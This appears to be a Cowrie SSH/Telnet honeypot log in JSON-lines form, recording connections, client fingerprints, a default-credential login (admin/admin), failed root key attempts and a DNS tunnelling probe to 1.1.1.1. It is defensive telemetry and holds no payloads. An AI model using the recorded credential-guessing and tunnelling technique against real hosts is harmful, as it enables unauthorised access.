{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:43.049536Z","src_ip":"87.251.64.176","session":"266fc9e583a8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:43.341370Z","src_ip":"87.251.64.176","session":"266fc9e583a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:43.440100Z","session":"266fc9e583a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:43.538833Z","src_ip":"87.251.64.176","session":"266fc9e583a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:43.638123Z","src_ip":"87.251.64.176","session":"266fc9e583a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00574374198914,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:25:13.237005Z","src_ip":"142.93.69.27","session":"98d3da9eddc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.02861833572388,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:25:41.252945Z","src_ip":"149.86.143.242","session":"d10c834b6dce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2115,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de0f68e4dfb","protocol":"telnet","message":"New connection: 149.86.143.242:2115 (10.17.0.5:23) [session: 1de0f68e4dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:25:41.661186Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.33","src_port":44504,"dst_ip":"10.17.0.5","dst_port":22,"session":"431ee165db5c","protocol":"ssh","message":"New connection: 188.44.20.33:44504 (10.17.0.5:22) [session: 431ee165db5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:27.580833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:27.589989Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:27.741836Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:c9:41:44:ba:68:ee:70:2a:ba:38:99:c4:46:1c:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCL5oSa9IuyRb+XuYLkSP79xYDFW2AUkF11LVsH85pTNX6V05G7V792xix23SFXEDvu5WobGwSl1pe3Glyn0ab3O0dMz9YFG3RbcS/d9gPlgtOE2L09Ql2hFfk9Nf/LcnMMi0gf2fFUwMqT0Xh7fP8irgpQEBgdCKN+5L/J/UWc0lJ+kymUliieQCK7ZZ/UHNY7WT8LNbLyJqbkCCBx7gA8Xe3wdRBI8ETrDYiIx2KwM1tUk4KxaEZPP/fRCmQi5jBnqA24vOKjwwgGVI/QS/5A1C1iQ4SdCOxjggYbrUBbCqIFMYoCM2AyFcI/CvP1+a2r+UFbkr+RzOf7IJJAnXy9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:c9:41:44:ba:68:ee:70:2a:ba:38:99:c4:46:1c:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:28.390501Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:c9:41:44:ba:68:ee:70:2a:ba:38:99:c4:46:1c:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCL5oSa9IuyRb+XuYLkSP79xYDFW2AUkF11LVsH85pTNX6V05G7V792xix23SFXEDvu5WobGwSl1pe3Glyn0ab3O0dMz9YFG3RbcS/d9gPlgtOE2L09Ql2hFfk9Nf/LcnMMi0gf2fFUwMqT0Xh7fP8irgpQEBgdCKN+5L/J/UWc0lJ+kymUliieQCK7ZZ/UHNY7WT8LNbLyJqbkCCBx7gA8Xe3wdRBI8ETrDYiIx2KwM1tUk4KxaEZPP/fRCmQi5jBnqA24vOKjwwgGVI/QS/5A1C1iQ4SdCOxjggYbrUBbCqIFMYoCM2AyFcI/CvP1+a2r+UFbkr+RzOf7IJJAnXy9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:28.394886Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:93:9f:a3:5c:53:23:84:fb:23:f7:0f:f0:78:6a:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAJWHrXBlzJzwRHACgjUy94yegBbkirwPXwIhAxFZyDrzmrXDjPEBN4IR876v5vz8kMLye89j+1YM2ZaNyfCk2IAYb92zIIhkS+4vRU1eJCKbpkudl8kfb4MjS7+XbteWZUZ8OOtngRxNAZY8rUxFfX126mbrjzIhfkghijVDo+Jbd2z0K3KGN7d+G5NCe4dXyKk00KOK1gP3aPgYiVmkWHViCtEeVlsN3zgDD+mxPe3cw1jKHdE4/S+9rboQYZ6FcjSVPb+vb3Xt8ZK3BIzi6D9gyEdGz4tBMcvyNRHvWtdUPEWzpGz6hP6+vwBWMD3qDLnwlbt2tbc7YvIqOMkIX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:93:9f:a3:5c:53:23:84:fb:23:f7:0f:f0:78:6a:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:28.528815Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:93:9f:a3:5c:53:23:84:fb:23:f7:0f:f0:78:6a:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAJWHrXBlzJzwRHACgjUy94yegBbkirwPXwIhAxFZyDrzmrXDjPEBN4IR876v5vz8kMLye89j+1YM2ZaNyfCk2IAYb92zIIhkS+4vRU1eJCKbpkudl8kfb4MjS7+XbteWZUZ8OOtngRxNAZY8rUxFfX126mbrjzIhfkghijVDo+Jbd2z0K3KGN7d+G5NCe4dXyKk00KOK1gP3aPgYiVmkWHViCtEeVlsN3zgDD+mxPe3cw1jKHdE4/S+9rboQYZ6FcjSVPb+vb3Xt8ZK3BIzi6D9gyEdGz4tBMcvyNRHvWtdUPEWzpGz6hP6+vwBWMD3qDLnwlbt2tbc7YvIqOMkIX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:28.532797Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:c7:2e:45:8c:c7:5d:50:31:ff:e8:61:cc:8b:c9:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbu/Rqg0Q6syunipanFdSAhb/OILF2Wrhv/nYW/CfJuiSD28z0b/lGAJbL75wX9ewH18wdzVsvls7pwplxWe2hw0Gtq1zSx+LGYeUN1kg6cDdLLttyUI02p5KXyY9eDYNEuycXcRjQMDAwkM02YNDIk/JSqUTWoNmOl+jhg0+LC9F/GOYLJ4ln10aUdWzhpaCXf96IsAHSKqrXTRa51Mk9ArwcrsRF0iBnm8P+X/mnyh8wrCpQFTuTXoqJswfPqRud6Z0zeId6S9iGmvkbqXznqJM0EJlumNRnaDxnPdXAdHh1Qh75LfjgDmvZSYdPTKLq3h74gqaHdv9UIac6D9c5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:c7:2e:45:8c:c7:5d:50:31:ff:e8:61:cc:8b:c9:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:28.688977Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:c7:2e:45:8c:c7:5d:50:31:ff:e8:61:cc:8b:c9:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbu/Rqg0Q6syunipanFdSAhb/OILF2Wrhv/nYW/CfJuiSD28z0b/lGAJbL75wX9ewH18wdzVsvls7pwplxWe2hw0Gtq1zSx+LGYeUN1kg6cDdLLttyUI02p5KXyY9eDYNEuycXcRjQMDAwkM02YNDIk/JSqUTWoNmOl+jhg0+LC9F/GOYLJ4ln10aUdWzhpaCXf96IsAHSKqrXTRa51Mk9ArwcrsRF0iBnm8P+X/mnyh8wrCpQFTuTXoqJswfPqRud6Z0zeId6S9iGmvkbqXznqJM0EJlumNRnaDxnPdXAdHh1Qh75LfjgDmvZSYdPTKLq3h74gqaHdv9UIac6D9c5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:28.693142Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:20:2c:62:22:9c:c7:49:74:be:5b:85:00:24:b5:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvpLWSUGb/YcpuzaBoT+NeBKnmlG1FVfrSphEo6hP/YBf3d94WOhhFZvzLil1hNeish+0P8A+7OVbz/yr92MmafXg9zJTwAP9U8lkTgqR6kou7BdEl4Z1V0rmAfYifx23w8gUPlPI1e31v3lpbBEv0XjaCgDgXY7+nBCrF4ylqkmOSdq6k9T/4hEnnBGSiwxAXxvoI70bVxOvS2PUQuepYaF8hSOqKT/CFYCanARErVOgbGrIYTmpR1Lo8CK0wVTunVhHwCAYCRGyWKgA+J0PddRvwidXZpW64LpYF67oBph2Rf1XhyIstRXYvEQK4WkNQL2sxoZEIH/yGg8JcZb5p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:20:2c:62:22:9c:c7:49:74:be:5b:85:00:24:b5:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:28.825925Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:20:2c:62:22:9c:c7:49:74:be:5b:85:00:24:b5:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvpLWSUGb/YcpuzaBoT+NeBKnmlG1FVfrSphEo6hP/YBf3d94WOhhFZvzLil1hNeish+0P8A+7OVbz/yr92MmafXg9zJTwAP9U8lkTgqR6kou7BdEl4Z1V0rmAfYifx23w8gUPlPI1e31v3lpbBEv0XjaCgDgXY7+nBCrF4ylqkmOSdq6k9T/4hEnnBGSiwxAXxvoI70bVxOvS2PUQuepYaF8hSOqKT/CFYCanARErVOgbGrIYTmpR1Lo8CK0wVTunVhHwCAYCRGyWKgA+J0PddRvwidXZpW64LpYF67oBph2Rf1XhyIstRXYvEQK4WkNQL2sxoZEIH/yGg8JcZb5p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:28.836046Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:89:41:75:2a:df:61:6d:dc:9b:a9:bf:6e:1e:37:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnjORiy8RTfbicLaoya7kjgPIadPbSBM6QUyqu3l1jxubJM8O0OeRFWB8VMbtL8TNM2Hb9JLZ46K5bscbaBu/VUxgK9+GpHB3e8SS/xb4z2hHmD65OZBNe5mW6dYcILCmdtq8ab6HlIGIgb+UOFLMSTTSdtxgSJMgbbF2s2yS0nkYTAs8uoo3mxPoKG7f4O2zdsaTRn+Q1yTtlr2SxeyDBbEq9LDlUGKYJg/+CITmkPenqPOjAoQql80t1UuH/gyg7k6MwXyu812qR855004XMu8/KZF96ha76K/c1ePyuZm6qEnJKLhFTjcuNsBjvvBxPpNrFLL88T0fNqmpqBwaKNvDGxeFl+8Zdkzl8qi6KZ3345c3rmxZE6ItlChGDukHgfgOI/A29QSMlcy3yQo+l0196f6NMIWcD4x0FiHDzo6k9yz+1QSSLDFYPRqxnboaKypz7wbfBQXi1EaisJq99OpnSeWFFzprnMytpl2mN2OzRemDtG/0dMfncr5YBj6s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:89:41:75:2a:df:61:6d:dc:9b:a9:bf:6e:1e:37:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:28.973526Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:89:41:75:2a:df:61:6d:dc:9b:a9:bf:6e:1e:37:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnjORiy8RTfbicLaoya7kjgPIadPbSBM6QUyqu3l1jxubJM8O0OeRFWB8VMbtL8TNM2Hb9JLZ46K5bscbaBu/VUxgK9+GpHB3e8SS/xb4z2hHmD65OZBNe5mW6dYcILCmdtq8ab6HlIGIgb+UOFLMSTTSdtxgSJMgbbF2s2yS0nkYTAs8uoo3mxPoKG7f4O2zdsaTRn+Q1yTtlr2SxeyDBbEq9LDlUGKYJg/+CITmkPenqPOjAoQql80t1UuH/gyg7k6MwXyu812qR855004XMu8/KZF96ha76K/c1ePyuZm6qEnJKLhFTjcuNsBjvvBxPpNrFLL88T0fNqmpqBwaKNvDGxeFl+8Zdkzl8qi6KZ3345c3rmxZE6ItlChGDukHgfgOI/A29QSMlcy3yQo+l0196f6NMIWcD4x0FiHDzo6k9yz+1QSSLDFYPRqxnboaKypz7wbfBQXi1EaisJq99OpnSeWFFzprnMytpl2mN2OzRemDtG/0dMfncr5YBj6s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:28.977397Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:29.111183Z","src_ip":"188.44.20.33","session":"431ee165db5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01371049880981,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:41.674774Z","src_ip":"149.86.143.242","session":"1de0f68e4dfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2228,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a703550305","protocol":"telnet","message":"New connection: 149.86.143.242:2228 (10.17.0.5:23) [session: b9a703550305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:42.066163Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":37446,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf744ab2bc7","protocol":"telnet","message":"New connection: 142.93.69.27:37446 (10.17.0.5:23) [session: bdf744ab2bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:27:48.385220Z"}
{"eventid":"cowrie.session.closed","duration":42.30645418167114,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:28:30.691548Z","src_ip":"142.93.69.27","session":"bdf744ab2bc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52612,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a1610f1b3af","protocol":"ssh","message":"New connection: 87.251.64.176:52612 (10.17.0.5:22) [session: 9a1610f1b3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:29:22.850251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:29:22.854331Z","src_ip":"87.251.64.176","session":"9a1610f1b3af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:29:23.138553Z","src_ip":"87.251.64.176","session":"9a1610f1b3af","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:29:23.428636Z","src_ip":"87.251.64.176","session":"9a1610f1b3af","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:29:23.528321Z","session":"9a1610f1b3af","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:29:23.626510Z","src_ip":"87.251.64.176","session":"9a1610f1b3af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:29:23.726382Z","src_ip":"87.251.64.176","session":"9a1610f1b3af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0060248374939,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:29:42.072054Z","src_ip":"149.86.143.242","session":"b9a703550305","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2146,"dst_ip":"10.17.0.5","dst_port":23,"session":"825cd3dd0021","protocol":"telnet","message":"New connection: 149.86.143.242:2146 (10.17.0.5:23) [session: 825cd3dd0021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:29:47.618603Z"}
{"eventid":"cowrie.session.closed","duration":120.02600383758545,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:31:47.644494Z","src_ip":"149.86.143.242","session":"825cd3dd0021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2201,"dst_ip":"10.17.0.5","dst_port":23,"session":"94cc7c3fe96c","protocol":"telnet","message":"New connection: 149.86.143.242:2201 (10.17.0.5:23) [session: 94cc7c3fe96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:31:48.006253Z"}
